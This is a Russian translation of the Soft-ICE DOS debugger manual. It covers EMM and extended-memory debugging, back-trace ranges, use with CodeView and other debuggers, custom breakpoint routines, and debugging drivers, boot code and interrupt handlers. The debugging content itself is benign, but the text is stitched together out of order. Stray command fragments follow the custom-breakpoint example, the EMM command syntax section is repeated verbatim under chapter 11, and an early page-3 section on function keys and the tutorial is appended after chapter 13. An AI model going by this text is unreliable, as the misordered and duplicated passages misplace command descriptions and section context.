Если память - наращена, НЕ ВЫГРУЖАЙТЕ Soft-ICE. Это вызовет разрушение системы.

8.3.2 Автоматическое Определение Страниц

Большинство знакомых с EMM программ требуют 64КБ-страницу, не используемую как нормальная память DOS. Она обычно расположена выше области видео- устройства. Однако в некоторых системах нет непрерывной области в 64K для размещения страницы. В этих случаях S-ICE.EXE "крадет" 4 верхние отображаемые страницы нижней памяти. Как результат - нижняя память DOS урезается на 64КБ.

8.4 EMM-Отладка

Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается.

При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации.

Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего:

* В командах D, E, S и F адресная часть команды должна быть указана следующим образом: Нуказатель# Рстраница# смещение где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:

DB H1 P3 0

Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0.

* Команда C должна быть указана следующим образом:

C Нуказатель# Рстраница# смещение1 Lдлина смещение2 где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:

C H2 P4 00 L10 1000

Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:

D 0:0

ГЛАВА 9

9.1 Введение

Soft-ICE может собирать информацию об инструкциях в буфер истории обратной трассировки во время выполнения вашей программы. Затем, после возникновения ошибки, эти инструкции можно просмотреть. Это позволяет вам вернуться назад и повторно пройти программу, чтобы определить фактический поток инструкций, предшествующих точке останова.

Информация об инструкциях собирается при входе в указанный диапазон адресов, меньший системного. Диапазоны могут быть от 1 байта до 1 мегабайта, так что если нужно, может быть получена полная системная информация. Использование определенных диапазонов вместо сбора всех инструкций полезно по двум причинам:

1. Буфер истории обратной трассировки не забивается посторонней информацией, которая вас не интересует. Например, вам может быть неинтересна обработка прерываний и выполнение в пределах MS DOS. 2. Диапазоны обратной трассировки снижают производительность системы, когда они активны. Ограничивая диапазон до интересующей вас области, вы можете намного увеличить производительность системы.

У Soft-ICE есть два метода использования инструкций в буфере истории обратной трассировки:

1. Команда SHOW позволяет вам просматривать инструкции из буфера истории обратной трассировки. Вы должны указать, на сколько инструкций в буфере вы хотите вернуться. 2. Команда TRACE позволяет вам вернуться и заново проиграть инструкции из буфера истории обратной трассировки. Таким образом вы может видеть исполнение инструкций в контексте окружения программного кода или исходного текста.

9.2 Использование Диапазонов Обратной Трассировки

Чтобы использовать диапазоны обратной трассировки, вы должны сделать следующее:

1. Зарезервировать буфер истории обратной трассировки желаемого размера, добавив переключатель /TRA в строку S-ICE.EXE в CONFIG.SYS. Например, чтобы создать буфер истории обратной трассировки в 100КБ, вы могли бы иметь следующую строку в вашем файле CONFIG.SYS: DEVICE = S-ICE.EXE /TRA 100 Буфер истории обратной трассировки в 10КБ зарезервирован по умолчанию. Если это подходит для ваших потребностей, вы можете не резервировать больший буфер. Размер буфера истории ограничен только количеством доступной расширенной памяти. 2. Активизировать диапазоны обратной трассировки, создав точку останова на диапазон памяти опцией T или TW. Например: BPR 1000:0 2000:0 T Опции T и TW не вызывают остановов, вместо этого они собирают информацию об инструкциях, которая затем может выводиться командами SHOW или TRACE. 3. Установить любые другие точки останова, если это желательно. 4. Выйти из Soft-ICE командой X. 5. После выполнения останова или если вы вызвали Soft-ICE горячей клавишей, вы можете просмотреть инструкции из буфера командой SHOW. Например, чтобы вернуться назад на 50 инструкций в буфере и вывести на экран инструкций, введите: SHOW 50 6. Чтобы повторно проиграть ряд инструкций, вы должны сначала войти в режим эмуляции трассировки командой TRACE. Чтобы начать повторно проигрывать последовательность инструкций, начиная за 50 команд в буфере, введите:

TRACE 50

7. После того, как вы вошли в режим эмуляции трассировки, вы может проходить через последовательность инструкций, используя команды XT, XP или XG. Это позволяет вам повторно активизировать ход программы. Например, вы можете пошагово пройти последовательность инструкций в буфере, начинающейся с инструкции, указанной в командой TRACE, вводя:

Руководство по Soft-ICE (DOS) - 21.

XT
XT
.
.
.
XT

Команда XT пошагово проходит через буфер истории обратной трассировки. Команда XP производит программные шаги через буфер истории обратной трассировки. Команда XG проходит программу до адреса в буфере истории обратной трассировки. 8. Чтобы выйти из режима эмуляции трассировки, введите:

TRACE OFF

9. Для сброса буфера истории обратной трассировки, используйте команду X.

9.3 Специальные Примечания

В режиме эмуляции трассировки большинство команд Soft-ICE работает как обычно, включая вывод карты памяти и вывод и редактирование данных. Существующие исключения:

1. Информация о регистрах не сохраняется в буфере истории обратной трассировки, так что значения регистров не изменяются, когда вы трассируете буфер, кроме значений CS и IP. 2. Команды, которые обычно вызывают выход из Soft-ICE, не работают в режиме эмуляции трассировки. Это - X, T, P, G, EXIT.

Когда вы внимательно просматриваете инструкции из буфера истории обратной трассировки командами SHOW и TRACE, вы можете заметить странности в выполнении инструкций. Они вызваны скачками в и вовне указанного диапазона. Они обычно происходят при переходах, вызовах, возвратах и точках входа. Когда у вас проблема с зависанием или другая трудная ошибка, требующая диапазонов обратной трассировки, вы часто можете использовать очень большие диапазоны, чтобы захватить проблемную область. Как только вы получите лучшее представление об указанной проблемной области, вы перейдете к меньшим диапазонам.

Большие диапазоны обратной трассировки - очень медленные. Используя большие диапазоны, вы обычно пытаетесь получить общую идею о том, где проблема. У Soft-ICE есть специальный "ГРУБЫЙ" режим для обработки больших диапазонов. Это ускоряет диапазоны в три или больше раз, но ограничивает количество инструкций в буфере истории.

Грубый режим собирает только те инструкции, которые производят запись в память в пределах указанного диапазона. При повторном проходе инструкций в режиме эмуляции трассировки после "ГРУБОГО" диапазона вы заметите, что ход происходит скачками вместо последовательного выполнения инструкций.

Грубые диапазоны работают лучше всего для больших областей и менее эффективны для маленьких диапазонов.

Чтобы активизировать "ГРУБЫЙ" диапазон обратной трассировки, используйте команду BPR с опцией TW вместо опции T. Например:

BPR 1000:0 2000:0 TW

Для дальнейшей информации о диапазонах обратной трассировки см. описания для команд:

SHOW, TRACE, XT, XP, XG, XRSET, BPR

ГЛАВА 10

10.1 Введение

MagicCV позволяет вам выполнять Microsoft CodeView в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.

MagicCVW позволяет вам выполнять Microsoft CodeView для Windows в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.

Использование Soft-ICE в комбинации с MagicCV или MagicCVW позволяет вам иметь мощность Soft-ICE при удобстве использования знакомого вам продукта CodeView.

В оставшейся части этой главы, высказывания о MCV будут применимы как к MagicCV, так и к MagicCVW, и высказывания о CV будут применимы как к CodeView, так и к CodeView для Windows.

10.2 Запуск Soft-ICE с MagicCV или MagicCVW

Чтобы использовать Soft-ICE 2.0 и MCV вместе, вы должны установить S-ICE.EXE как загружаемый драйвер устройства. S-ICE.EXE поступает на дискете Soft-ICE. S-ICE.EXE заменяет NUMEGA.SYS в CONFIG.SYS. Используйте переключатели /MCV, /EMM и /EXT как при использовании только MagicCV или MagicCVW. Есть добавочные переключатели, которые вы можете захотеть использовать с Soft-ICE. Обратитесь к главе 6 для информации относительно этих переключателей.

Чтобы запустить MagicCV или MagicCVW, после того как Soft-ICE загружен, обратитесь к вашему руководству по MagicCV или MagicCVW.

Примечания:

MagicCVW требует Soft-ICE версии 2.00 или выше.

MagicCV требует Soft-ICE версии 1.02 или выше. Драйверы S-ICE.SYS и NUMEGA.SYS отправлялись с некоторыми версиями Soft-ICE. Драйверы S-ICE и NUMEGA.

Должны быть заменены S-ICE.EXE до того, как вы сможете запустить MagicCV и Soft-ICE 2.0 вместе.

10.3 Специальные Соображения

Две Виртуальные Машины.

Когда вы используете вместе Soft-ICE и MCV, вы должны иметь в виду, что CV находится в отдельной виртуальной машине от целевого окружения. Вы можете вызвать Soft-ICE из любой виртуальной машины, т.е., когда выполняется CV или когда выполняется целевая программа.

Если вы вызываете Soft-ICE, когда выполняется целевая программа, все работает как определено в руководстве по Soft-ICE. Если вы вызываете Soft-ICE когда выполняется CV (обычно при выполнении останова), вы должны иметь в виду несколько моментов:

Команда CodeView SHELL

Если вы выполняете временный выход в DOS из виртуальной машины CodeView, оболочка DOS - часть виртуальной машины. Из-за этого вы не должны запускать ТSR'ы, когда вы находитесь в оболочке DOS. Если вы это сделаете, когда вы выйдете из CodeView, TSR исчезнет вместе с виртуальной машиной. Это - опасно, потому что любой невосстановленный вектор прерывания может вызвать зависание вашей ЭВМ.

Переключатель CV /R

Soft-ICE пользуется преимуществами многих возможностей 80386, включающих регистры отладки 80386. Это значит, что регистры отладки не доступны для CV, так что вы не можете использовать переключатель CV /R при запуске с Soft-ICE. Если вы используете переключатель /R, Soft-ICE выдаст вам общую ошибку защиты. В этот момент вы можете нажать 'C', чтобы продолжить, затем повторно запустить CV без переключателя /R и использовать точки останова Soft-ICE.

Переключатель CV /R работает, когда вы выполняете MCV без Soft-ICE.

10.4 Команда Soft-ICE ACTION

Команда ACTION предоставляет три различных метода активизации CV из точки останова Soft-ICE. Лучший выбор действия - ACTION NMI. Если вы испытываете проблемы с ACTION, установленным в NMI ( обычно потому что плата адаптера в вашей системе использует NMI ), используйте ACTION INT1.

РАЗДЕЛ IV - Дополнительные Темы

ГЛАВА 11

11.1 Использование Soft-ICE с другими Отладчиками

Soft-ICE разрабатывался, чтобы "сотрудничать" с другими отладчиками. Каждый отладчик предлагает разные возможности и, следовательно, требует специальной обработки. Этот раздел опишет способы эффективного использования отладчиков.

11.1.1 Отладчики, Использующие DOS

Много отладчиков используют DOS и ROM BIOS, чтобы выполнять их экранный и клавиатурный ввод/вывод. При использовании этих отладчиков с Soft-ICE (напр., DEBUG, SYMDEB и CODEVIEW) должны иметься ввиду определенные соображения, т.к. DOS и ROM BIOS не полностью реентерабельны. Если останов происходит во время исполнения кода DOS или BIOS, может возникнуть проблема повторной входимости.

Soft-ICE обеспечивает опциональное предупреждение о повторной входимости, активируемое командой WARN. Когда включен режим WARN, Soft-ICE проверяет DOS и ROM BIOS на повторную входимость до выполнения ACTION, активизирующего главный отладчик. Когда обнаружена проблема повторной входимости, Soft-ICE выводит предупреждающее сообщение и предлагает вам выбор : продолжить выполнение кода или вернуться в Soft-ICE.

Обратите внимание, что сам Soft-ICE не использует вызовы DOS или ROM BIOS в командах отладки. Это значит, что вы можете использовать Soft-ICE в любое время, не волнуясь о проблемах повторной входимости.

Для большей информации о команде WARN, см. часть 5.4.

11.1.2 Команда ACTION с другими Отладчиками

Различные отладчики используют разные методы активизации. Для описания этих методов см. часть 13.1.

Если вы хотите возвращаться к вашему отладчику после выполнения останова, вы должны изменить ACTION (см. раздел 5.4) для работы с вашим отладчиком.

В большинстве случаев действие, которое должно выполняться после останова, - INT3. Так DEBUG и SYMDEB будут работать лучше всего с ACTION, установленным на INT3.

Если INT3 не работает с вашим отладчиком, попробуйте INT1 или NMI. CODEVIEW работает лучше всего с ACTION, установленным на NMI.

11.1.3 Специальные Соображения

Когда установлена точка останова, вы должны быть осторожны, чтобы случайно ее не вызвать. Так, если вы установите точку останова в памяти в 0:0, затем используйте ваш отладчик для просмотра дампа памяти в 0:0, будет вызван Soft-ICE. Если ACTION установлено на вызов вашего отладчика, тогда ваш отладчик вызовет сам себя. Так как некоторые отладчики - нерентерабильны, это может быть фатальной проблемой. Эта проблема может также возникнуть с другими функциями отладки типа редактирования или дизассемблирования.

Руководство по Soft-ICE (DOS) - 22.

По этой причине, хорошая практика - отключать точки останова Soft-ICE как только Soft-ICE поможет вам попасть в точку, где вы хотите осмотреться при помощи вашего отладчика.

11.1.4 Использование Soft-ICE с CODEVIEW

Soft-ICE лучше всего работает с CODEVIEW, когда CODEVIEW находится либо в режиме Ассемблера либо в Смешанном режиме. Когда CODEVIEW находится в режиме исходного текста с языками высокого уровня, он не всегда верно прерывается. Когда вы хотите, чтобы Soft-ICE вызывал CODEVIEW, лучше всего использовать ACTION NMI.

11.1.5 Отладчики, Использующие Регистры Точек Останова 80386

80386 имеет 4 регистра точек останова, которые доступны для использования отладчиками. Soft-ICE использует их для своих точек останова на память размером в байт, слово и двойное слово. Если отладчик, который вы используете с Soft-ICE, использует эти отладочные регистры, возникнет конфликт. Есть два способа решения этой проблемы.

1. Отключите использование регистров точек останова 80386 в отладчике, с которым вы используете Soft-ICE. Проверьте документацию другого вашего отладчика для получения описания того, как это сделать. 2. Некоторые отладчики автоматически используют регистры точек прерывания, если они обнаруживают процессор 80386 без методов их отключения (это делают некоторые версии SYMDEB). Для этих отладчиков сделайте следующее: * Вызовите окно Soft-ICE прежде, чем вы запустите другой отладчик. * Включите режим BREAK Soft-IСЕ'а командой BREAK (вы можете захотеть сделать это в выражении инициализации в S-ICE.DAT, если вы часто это делаете). * Запустите ваш другой отладчик. * При желании вы теперь можете вызвать окно Soft-ICE и отменить режим BREAK Soft-ICE. 11.2 Пользовательские Точки Останова Время от времени вам может требоваться очень специфический набор условий точки останова. Если специальные условия требуют ввода значений регистров или памяти, вы можете написать подпрограмму спецификации точки останова. Soft-ICE содержит очень общий механизм для вызова пользовательских подпрограмм спецификации точек останова: команду ACTION. При использовании команды ACTION, Soft-ICE может перенаправить все точка останова на специальный вектор прерывания. Однако, до перенаправления точки останова, в память должна быть помещена подпрограмма спецификации и вектор прерывания должен указывать на подпрограмму спецификации. Все регистры идентичны значениям во время выполнения останова Soft-ICE. Сохранение и восстановление регистров лежит на ответственности подпрограммы спецификации. Если ваша подпрограмма спецификации обнаруживает соответствие условий точка останова, она может выполнить множество действий. Вот некоторые примеры полезных действий, которые подпрограмма может выполнить, когда обнаружено соответствие: * сохранить информацию на будущее * послать информацию прямо на принтер или последовательный терминал * выполнить команду INT 3, чтобы вызвать Soft-ICE Команда I3HERE должна быть включена, чтобы INT 3 вызывал Soft-ICE (см. часть 5.4). Если условия не выполняются, подпрограмма спецификации должна выполнить команду IRET. Подведем итог: 1. Создайте подпрограмму спецификации точки останова в вашей области кода или где-нибудь в свободной памяти. Подпрограмма должна сохранять регистры. После проверки желаемых условий, подпрограмма может выполнить либо INT 3, чтобы вызвать Soft-ICE, либо IRET, чтобы продолжить исполнение. 2. Направьте неиспользуемый вектор прерывания на вашу подпрограмму спецификации. Это может быть выполнено либо из вашего кода либо из Soft-ICE. 3. В Soft-ICE установите ACTION на номер-прерывания, который был использован, чтобы указывать на вашу подпрограмму спецификации. 4. В Soft-ICE установите I3HERE ON. Это необходимо, чтобы вызвать Soft-ICE после того, как были выполнены условия. 5. Установите общие условия точки останова Soft-ICE. Когда выполнится любое из этих условий точки останова, будет вызвана ваша подпрограмма спецификации. 11.2.1 Пример Пользовательской Точки Останова Эта часть содержит пример пользовательской точки останова, которая проверяет условия AX = 3, BX = 4 и CX = 5, когда происходит выполнение точки останова. Сначала мы создаем подпрограмму спецификации. Для целей этого примера, мы будем транслировать команды прямо в память при помощи интерактивного ассемблера Soft-ICE. Для этого примера мы будем произвольно транслировать подпрограмму с ячейки 9000:0H. В Soft-ICE, при этом, вводятся следующие выражения:

A 9000:0
9000:0 CMP AX,3
9000:3 JNE 10
9000:5 CMP BX,4
9000:7 JNE 10
9000:A CMP CX,5
9000:D JNE 10
9000:F INT3
9000:10 IRET

ED 0:99*4 9000:0

ACTION 99

I3HERE ON

BPR сегмент:начальное-смещения сегмент:конечное-смещение

RIP IP + 1
T

Нуказатель# Рстраница# смещение

DB H1 P3 0

C Нуказатель# Рстраница# смещение1 Lдлина смещение2

Где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:

C H2 P4 00 L10 1000

Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:

D 0:0

11.5 Возможности Отладки с Расширенной Памятью

Команды D, E, S, F и C могут использоваться, чтобы просматривать или изменять расширенную память. Расширенная память, зарезервированная Soft-ICE, не может выводиться на экран. Синтаксис этих команд подобен командам, используемым для стандартной памяти:

* В командах D, E, S и F адресная часть команды должна указываться следующим образом: M адрес мегабайта где мегабайт - номер, определяющий какой мегабайт использовать и адрес определяет адрес в указанном мегабайте. Пример:

DB M 2 0:0

Эта команда выведет дамп байтов с начала мегабайта, начинающегося с линейного адреса 200000H.

* Команда C должна указываться следующим образом:

C M мегабайт адрес1 L длина адрес2

Где мегабайт и адрес1 - то же, что и выше. адрес2 определяет адрес в указанном мегабайте, где находится второй блок данных для сравнения.

Руководство по Soft-ICE (DOS) - 23.

Пример:

C M 3 1000:2000 L10 3000:4000

Эта команда будет сравнивать первые 10 байтов памяти, размещенной с 1000:2000, с первыми 10 байтами памяти, размещенной с 3000:4000.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последний указанный мегабайт. Чтобы вернуться к мегабайту 0 (стандартная память), выполните одну из вышеупомянутых команд с 0, указанным как мегабайт, например:

D M 0

ГЛАВА 12

В автономном режиме Soft-ICE может быть мощным инструментом. Эта часть описывает технику отладки компонентов системного уровня, используя Soft-ICE в автономном режиме. При использовании Soft-ICE как автономного отладчика, ACTION должна быть установлена на HERE.

12.1 Загружаемые Драйверы Устройств

Отладка загружаемых драйверов устройств DOS требует отладчика, который не выполняет вызовов DOS. Soft-ICE может использоваться в автономном режиме, если ваш отладчик использует DOS.

Есть два метода отладки загружаемых драйверов устройств: 1. Используйте команду MAP, чтобы найти расположение вашего загружаемого драйвера. Просмотрите заголовок драйвера устройства, чтобы найти точку входа в прерывание или стратегию. Установка точки останова на вход в стратегию или прерывание даст вам контроль над драйвером устройства. Далее трассируйте или устанавливайте точки останова для продолжения отладки. Отладка кода инициализации драйвера устройства требует сброса системы командой BOOT. Используйте вышеописанную методику для установки точки останова в коде драйвера. Команда BOOT будет сохранять Soft-ICE и точки останова. 2. Второй метод требует размещения специального кода в вашем драйвере. Сделайте это при помощи команды I3HERE ON (см. раздел 5.4). Поместите опкод INT 3 (CCH) в ваш драйвер устройства в точке, где необходим контроль. Когда выполняется INT 3, управление переходит к Soft-ICE. Затем вы можете использовать команду R IP для установки указателя команд для переходов до и после опкода INT 3.

Если вы хотите отлаживать вашу последовательность инициализации, удостоверьтесь, что Soft-ICE загружается в CONFIG.SYS до драйвера, который вы пытаетесь отлаживать. Поместите команду I3HERE ON в строку установок в S-ICE.DAT. При этом методе вам не нужно использовать команду BOOT.

Если вы отлаживаете ваш драйвер устройства с символами или по исходному тексту, вы должны загрузить файл символов и исходные файлы отдельно от драйвера устройства. Файл символов и исходные файлы загружаются загрузчиком программ Soft-ICE LDR.EXE. Когда LDR.EXE используется, чтобы загружать только символы и исходный текст, вы должны использовать его в форме:

LDR название-файла.SYM

Должно быть указано расширение файла символов. См. часть 7.4 для больших подробностей относительно LDR.EXE.

После загрузки файла символов и исходных файлов при помощи LDR.EXE вы должны войти в Soft-ICE и переместить символы относительно начала вашего драйвера устройства. Символы перемещаются командой Soft-ICE SYMLOC. Синтаксис команды SYMLOC:

SYMLOC сегмент

Значение сегмента получается из команды MAP. См. описание команды SYMLOC для больших подробностей.

12.2 Программы Начальной Загрузки

Отладка программ начальной загрузки или самозагружающихся программ требует использования Soft-ICE как автономного отладчика. Вы должны сначала загрузить DOS и запустить Soft-ICE. Самый простой метод отладки программ начальной загрузки - установка точки останова на известный адрес в загрузчике и затем использование команды BOOT для сброса системы. Soft-ICE сохраняется во время всего процесса начальной загрузки с установленными точками останова. Если тяжело найти известный адрес, то можно установить точку останова на выполнение в 7C0:0H перед использованием команды BOOT. Это - адрес, по которому ROM BIOS загружает сектор начальной загрузки в память.

Другой метод требует включения режима I3HERE (см. часть 5.4). Поместите опкод INT 3 (CCH) в вашу программу в точке, где необходим контроль. Когда выполняется INT 3, управление приходит к Soft-ICE. Вы также можете использовать как символьную, так и отладку по исходному тексту при отладке программы начальной загрузки. См. команду SYMLOC для большей информации о том, как переместить ваши символы и исходный текст в сегмент, в который загружена ваша программа начальной загрузки.

12.3 Обработчики Прерываний

Soft-ICE позволяет устанавливать точки останова и пошагово выполнять подпрограммы обслуживания аппаратных прерываний (таймер, клавиатура и т.д.). Пошаговое выполнение и установка точек останова в программах обработки прерывания поддерживается Soft-ICE. Вы даже можете трассировать обработчик прерывания клавиатуры, когда Soft-ICE использует клавиатуру для ввода. В большинстве случаев при отладке программ обработки прерываний, Soft-ICE должен использоваться как автономный отладчик. Чтобы установить точку останова на адрес обработчика прерывания, используйте один из следующих методов:

1. Используйте команду вывода двойного слова:

DD номер-прерывания * 4 L 1 Выведенный адрес - адрес первой команды обработчика прерывания. Установите точку останова на выполнения на этот адрес.

2. Используйте команду:

BPINT номер-прерывания

12.4 Операционные Системы, Отличные от DOS (non-DOS)

При помощи Soft-ICE могут отлаживаться операционные системы режима реальной адресации, отличные от DOS. Если операционная система слабо совместима с DOS, вы должны загрузить Soft-ICE под DOS, а затем использовать команду BOOT, чтобы запустить другую операционную систему. Следуйте инструкциям для отладки блоков начальной загрузки и самозагружающихся программ из раздела 12.2.

Команды MAP и WARN могут неправильно функционировать под другими операционными системами, но точки останова и другие отладочные команды будут работать правильно.

При отладке с символами или исходным текстом вы должны загрузить символьные и исходные файлы под DOS или в DOS-совместимом режиме вашей операционной системы.

ГЛАВА 13

13.1 Активизация Других Отладчиков

Soft-ICE работает с большинством других отладчиков, пользуясь преимуществами отладочного прерывания семейства 8086 (INT 3). Большинство отладчиков используют однобайтовую команду INT 3 (CCH) для выполнения точек останова. Целевая команда заменяется на INT 3. Когда выполнение достигает целевого адреса, управление передается обработчику INT 3 отладчика. Затем отладчик заменяет (CCH) на первый байт первоначальной команды.

Когда выполняются точки останова Soft-ICE, в зависимости от команды ACTION, может произойти одно из нескольких событий. Обычно при использовании Soft-ICE с другим отладчиком, ACTION устанавливается на INT3. Когда выполняется условие останова, Soft-ICE передает управление главному отладчику при помощи эмуляции INT 3.

Некоторые отладчики могут работать неправильно при эмуляции INT 3. Для этих отладчиков обеспечены две другие опции ACTION. Это - INT1 и NMI. INT 1 - пошаговое прерывание семейства 8086. Большинство отладчиков будут обрабатывать незапрашиваемый INT 1 как точку останова. NMI поддерживается большинством отладчиков как средство выхода из зависания. Эти отладчики были разработаны для аппаратных переключателей выхода, которые производили немаскируемое прерывание. Когда ACTION установлено на NMI, Soft-ICE эмулирует немаскируемое прерывание (Interrupt2). CODEVIEW работает лучше всего с ACTION, установленным на NMI.

13.2 Основы Виртуальных Машин

Магия Soft-ICE стала возможной из-за возможностей виртуальной машины процессора 80386. Soft-ICE выполняется в защищенном режиме 80386 и управляет окружением DOS. Схема защиты 80386 дает Soft-ICE полный контроль над окружением DOS, в то же время защищая его от "капризных" программ.

Как генерируются точки останова Soft-ICE?

Soft-ICE использует три разных возможности 80386 для создания точек останова:

* Точки останова на ячейку памяти используют регистры останова 80386 * Точки останова на диапазоны памяти используют механизм страничной организации 80386 * Точки останова на команды ввода/вывода используют уровень привилегий ввода/вывода и битовую маску ввода/вывода Как выполняется команда BREAK?

Команда BREAK позволяет использовать клавиатуру для вызова Soft-ICE, даже когда прерывания отключены и система зависла. Soft-ICE виртуализирует механизм прерываний, так что для Soft-ICE прерывания никогда не отключаются, даже когда они отключены для программы DOS, выполняющейся в виртуальной машине.

В режиме BREAK виртуализируются следующие команды, чтобы удостовериться что флаг прерывания никогда не сбрасывается:

PUSHF
POPF
STI
CLI
INT n
IRET

Специальные соображения о виртуальном режиме 8086.

Soft-ICE выполняет DOS в виртуальной машине 8086. Эта возможность - главная особенность микропроцессора 80386. При выполнении программ реального режима (DOS и т.д.) в виртуальной машине, программой, контролирующей виртуальную машину, должны эмулироваться некоторые особенности 8086. В нашем случае виртуальную машину контролирует Soft-ICE. Soft-ICE поддерживает следующие особенности:

* Функции прерывания ROM BIOS 15H : 87H, 88H и 89H * Недокументированная команда loadall * Управление Адресной Линией 20H * Команды защищенного режима 80286 и 80386 * Ошибки 80386.

Функции прерывания ROM BIOS 15H : 87H, 88H и 89H.

Функция BIOS 87H позволяет программе обращаться к памяти выше одного мегабайта на архитектуре IBM AT или Personal Series II через механизм перемещения блоков. Функция 88H возвращает размер расширенной памяти. Эти функции используются драйвером устройства VDISK. Soft-ICE эмулирует эти вызовы BIOS для совместимости с VDISK. Функция 89H обычно используется для перехода в защищенный режим, но Soft-ICE не может позволить этому случиться. Вместо этого возвращает установленный флаг переноса.

Неописанная команда loadall

80286 содержит неописанную команду, называемую loadall. Эта команда первоначально помещалась на чип в диагностических целях и в основном не используется программным обеспечением. Однако, она используется некоторыми версиями RAMDRIVE фирмы Microsoft, который продается с Microsoft Windows и MS-DOS 3.2. Soft-ICE эмулирует loadall, чтобы обеспечить работу RAMDRIVE, однако, невозможно произвести полную эмуляцию этой команды.

Управление Адресной Линией 20H

IBM AT предоставляла специальную особенность, позволяющую некоторым старым программам, которые первоначально были написаны для CP/M функционировать на процессоре 80286. Эта возможность давала обращениям к памяти, возвращающимся в нулевую область на 8086 при выходе за границу мегабайта, работать на 80286. Некоторые программы отключают эту "совместимость", чтобы обращаться к памяти выше одного мегабайта в режиме реальной адресации. Soft-ICE эмулирует эту способность. Она обеспечивается на всех машинах 80386 AT через контроллер клавиатуры и через порт ввода/вывода 92H на PS/2.

Руководство по Soft-ICE (DOS) - 24.

Команды защищенного режима 80286 и 80386

Некоторые специфические программы AT использовали команды защищенного режима 80286. С появлением 80386 некоторые программы 80386 используют команды защищенного режима 80386. Эти программы не будут работать с Soft-ICE.

Soft-ICE обеспечивает стандартные расширения режима реальной адресации, которые фирма Intel включила в процессоры 80186 и 80286 (PUSHALL, POPALL и т.д.), но не команды защищенного режима типа LGDT, LMSW и т.д.

Ошибки 80386

Есть несколько ошибок в работе чипа 80386. Большинство этих ошибок относятся только к программному обеспечению защищенного режима (типа Soft-ICE).

Руководство по Soft-ICE (DOS) - 3.

F10 - Выполняет подпрограмму или цикл (^P;) F11 - Перейти к адресу возврата (большая модель) (^G @SS:SP;) F12 - выводит номер версии Soft-ICE (^VER;).

Знак "сагеt" (^), предшествующий команде, делает ее невидимой, точка с запятой (;) после команды производит перевод строки. Вы можете вывести на экран текущие назначения функциональных клавиш, введя команду:

FKEY

Для использования функциональной клавиши просто нажмите ее вместо ввода команды. При необходимости программирования функциональных клавиш, см. часть 5.8 для получения описания команды FKEY или главу 6 для получения описания предварительной инициализации функциональных клавиш в S-ICE.DAT.

3.10 Помощь

Команда помощи выводит краткое описание, синтаксис выражения и пример каждой команды. Чтобы получить информацию помощи, введите:

? или H -- выводит краткие описания всех команд и операторов ? команда или H команда -- выводит более детальную информацию по указанной команде, синтаксис и пример ? выражение или H выражение -- выводит значение выражения в шестнадцатеричном, десятичном и ASCII формате.

3.11 Обучающая Часть

Эта обучающая часть демонстрирует некоторые из возможностей Soft-ICE и дает вам возможность попробовать использовать Soft-ICE. Soft-ICE может быть использован вместе с другим отладчиком или как автономный отладчик. Обучающая часть демонстрирует использование Soft-ICE как дополнение к отладчику DOS DEBUG, а потом показывает, каким образом Soft-ICE может использоваться как автономный отладчик с загруженным исходным текстом и символами. DEBUG можно найти на системной дискете PC DOS или MS DOS. Если у вас нет DEBUG, вы можете найти другой отладчик или использовать Soft-ICE как автономный отладчик.

Пользователи, которым необходимо использовать Soft-ICE для "обратного проекти- рования" или для отладки загружаемых драйверов устройств DOS или резидентных программ, также должны пройти эту обучающую часть. Даже если примеры программ этих типов непосредственно не демонстрируются, вы получите представление об отладке при помощи Soft-ICE. Рекомендуется поэкспериментировать с Soft-ICE и вашим специфическим окружением до начала работы с реальным проектом.

Для демонстрации аппаратных точек останова используется короткая программа на языке ассемблера с тонким изъяном. Программа-пример была сделана максимально короткой и ясной для тех, кто не очень знаком с языком ассемблера. Обучающая часть предназначена для того, чтобы дать вам почувствовать возможности Soft-ICE. Не стесняйтесь экспериментировать по собственной инициативе после прохождения обучающей части.

Так как Soft-ICE очень гибок, он позволяет вам загружать его оптимальным для вашей системы образом. Пройдите процедуры установки в части 2.2 перед тем как продолжить изучать обучающую часть.

Если у вас в системе нет расширенной памяти, вы должны загрузить Soft-ICE из командной строки. При загрузке Soft-ICE из командной строки вы не сможете загружать символы или файлы с исходными текстами. В этом случае вы должны перейти к последней теме обучающей части, где Soft-ICE используется как автономный отладчик.

Soft-ICE может быть загружен из командной строки DOS или как драйвер устройства в CONFIG.SYS. Для этой обучающей части вы должны установить Soft-ICE в CONFIG.SYS с хотя бы 50КБ расширенной памяти для символов и файлов с исходным текстом. Soft-ICE должен быть первым драйвером устройства, установленным в CONFIG.SYS. Строка установки устройства должна выглядеть так:

DEVICE = диск:\путь\S-ICE.EXE /SYM 50

Параметр /SYM 50 указывает Soft-ICE резервировать 50 килобайтов расширенной памяти для символов и файла с исходным текстом. Этого недостаточно для решения реальных задач, но будет работать с нашей программой-примером.

Вы должны перезагрузить вашу систему после помещения этой строки в CONFIG.SYS.

